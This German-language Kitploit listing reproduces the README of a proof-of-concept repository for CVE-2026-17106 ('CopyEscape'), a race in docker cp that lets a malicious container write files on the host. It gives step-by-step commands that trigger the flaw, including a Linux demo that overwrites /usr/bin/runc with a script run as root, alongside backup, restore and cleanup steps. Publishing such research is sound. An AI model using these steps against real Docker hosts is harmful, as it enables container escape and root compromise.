Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CopyEscape-CVE-2026-17106 — PoC-Repository zum Blogbeitrag CopyEscape: Übernahme von Docker-Hosts mit docker cp | Kitploit
Tools/GitHubGitHub/masasron/copyescape-cve-2026-17106
Container-SicherheitSchwachstellenanalyseExploitationRed TeamingContainer-AusbruchAdversarial-Angriff
GitHubmasasron/copyescape-cve-2026-17106

CopyEscape-CVE-2026-17106

PoC-Repository zum Blogbeitrag CopyEscape: Übernahme von Docker-Hosts mit docker cp

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigenWebseite
248vor 1 MonatNoch nicht geprüft

CopyEscape: Übernahme von Docker-Hosts mit docker cp (CVE-2026-17106)

Dies ist das Proof-of-Concept-Repository zum Blogbeitrag CopyEscape: Übernahme von Docker-Hosts mit docker cp — CVE-2026-17106.

CopyEscape ermöglicht es einem bösartigen laufenden Container, den Archiv-Erzeuger von Docker in einem Wettlauf zu schlagen und einen inkonsistenten Tar-Stream zu erzeugen. Die anfällige Docker-CLI kann dann während der Extraktion einem platzierten Symlink folgen und außerhalb des lokalen Ziels schreiben, das von dem Benutzer ausgewählt wurde, der docker cp ausführt.

Das Repository enthält zwei Demonstrationen:

  • macos/ enthält eine nicht-destruktive Docker-Desktop-Demonstration, die ~/pwnd auf dem macOS-Host erstellt.
  • linux/ enthält die ursprüngliche High-Impact-Linux-Demonstration, die /usr/bin/runc überschreibt und /imperva_red_team erstellt, wenn die ersetzte Runtime ausgeführt wird.

[!WARNING] Führen Sie diese PoCs nur auf Systemen aus, die Ihnen gehören oder für die Sie ausdrücklich zum Testen autorisiert wurden. Der Linux-PoC ersetzt absichtlich /usr/bin/runc; verwenden Sie eine Wegwerf-VM und erstellen Sie vor dem Auslösen ein verifiziertes Backup.

Voraussetzungen

  • Eine anfällige Docker-Engine- oder Docker-Desktop-Version.
  • Ein laufender Docker-Daemon.
  • Eine Shell mit Docker-CLI-Zugriff.
  • Root-Rechte für die Linux-/usr/bin/runc-Demonstration.

Die PoCs wurden gegen Docker Engine/CLI 29.6.1 und Docker Desktop 4.81.0 entwickelt und getestet. Korrigierte Versionen sollten das bösartige Archiv ablehnen oder den Kopiervorgang abschließen, ohne außerhalb des ausgewählten Ziels zu schreiben.

macOS-PoC: Erstellen von ~/pwnd

Diese Demonstration zielt auf das Home-Verzeichnis des Benutzers, der die Docker- CLI ausführt. Sie bricht ab, wenn entweder ~/pwnd oder das lokale Ziel file.txt bereits existiert.

Ausführen:

root@kitploit:~
cd macos
./demo-macos.sh

Das Skript erstellt das Image, startet den vorbereiteten Container, bestätigt, dass /watched/file.txt darin wie eine normale Datei erscheint, und löst Folgendes aus:

root@kitploit:~
docker cp <demo-container>:/watched/file.txt ./file.txt

Bei einer anfälligen Docker-Desktop-Version erstellt der Kopiervorgang:

root@kitploit:~
~/pwnd

mit folgendem Inhalt:

root@kitploit:~
COPYESCAPE_MACOS_DEMO

Aufräumen:

root@kitploit:~
rm -- ~/pwnd
rm -rf -- ./file.txt
docker image rm copyescape-macos-demo:local

Linux-PoC: Überschreiben von /usr/bin/runc

[!CAUTION] Diese Demonstration macht die Runtime des Docker-Hosts vorübergehend unbrauchbar und führt einen angreiferkontrollierten Ersatz als Root aus. Verwenden Sie eine Wegwerf-VM. Nachdem docker cp zurückgekehrt ist, stellen Sie runc wieder her, bevor Sie einen weiteren Docker- Befehl ausführen.

Öffnen Sie eine Root-Shell und wechseln Sie in das Linux-PoC-Verzeichnis:

root@kitploit:~
sudo -s
cd linux

Erstellen und verifizieren Sie ein Backup, bevor Sie den Test starten:

root@kitploit:~
test ! -e /root/runc.copyescape-backup
cp --preserve=all -- /usr/bin/runc /root/runc.copyescape-backup
cmp -s /usr/bin/runc /root/runc.copyescape-backup
sha256sum /usr/bin/runc /root/runc.copyescape-backup

Erstellen Sie das Image:

root@kitploit:~
docker build -t copyescape-linux .

Starten Sie den vorbereiteten Container im ersten Terminal:

root@kitploit:~
docker run --name copyescape-linux copyescape-linux

Bestätigen Sie in einem zweiten Root-Terminal, dass der vorbereitete Pfad für einen Prozess im Inneren des Containers wie eine reguläre Datei aussieht:

root@kitploit:~
docker exec copyescape-linux cat /watched/file.txt

Erwartete Ausgabe:

root@kitploit:~
top-level file

Lösen Sie die Schwachstelle aus:

root@kitploit:~
docker cp copyescape-linux:/watched/file.txt ./file.txt

Bei einer anfälligen Docker-Version enthält /usr/bin/runc nun das PoC-Shell- Skript. Die Ausführung der ersetzten Runtime erstellt die root-eigene Markierung:

root@kitploit:~
sed -n '1,3p' /usr/bin/runc
ls -l /imperva_red_team

Stellen Sie die ursprüngliche Runtime sofort wieder her, bevor Sie einen weiteren Docker- Befehl ausführen:

root@kitploit:~
cp --preserve=all -- /root/runc.copyescape-backup /usr/bin/.runc.copyescape-restore
sync /usr/bin/.runc.copyescape-restore
mv -f -- /usr/bin/.runc.copyescape-restore /usr/bin/runc
cmp -s /usr/bin/runc /root/runc.copyescape-backup
/usr/bin/runc --version

Nachdem runc wiederhergestellt und verifiziert wurde, entfernen Sie die verbleibenden Test- Artefakte:

root@kitploit:~
docker rm -f copyescape-linux 2>/dev/null || true
docker image rm copyescape-linux
rm -rf -- ./file.txt
rm -f -- /imperva_red_team

Wie die Demonstrationen funktionieren

Beide PoCs präsentieren /watched/file.txt Prozessen, die im Container laufen, als normale Datei, während der Docker-Daemon ein darunterliegendes Verzeichnis sieht. Während Docker das Dateisystem durchläuft, ersetzt der Monitor ein Verzeichnis durch einen platzierten absoluten Symlink. Der resultierende Tar-Stream enthält den Symlink, gefolgt von einem darunterliegenden Kindeintrag. Eine anfällige Docker-CLI erstellt den Symlink und extrahiert dann den Kindeintrag durch ihn hindurch auf das Client-Dateisystem.

Der abschließende Schreibvorgang trägt die Berechtigungen des Prozesses, der docker cp ausführt.

Tool herunterladen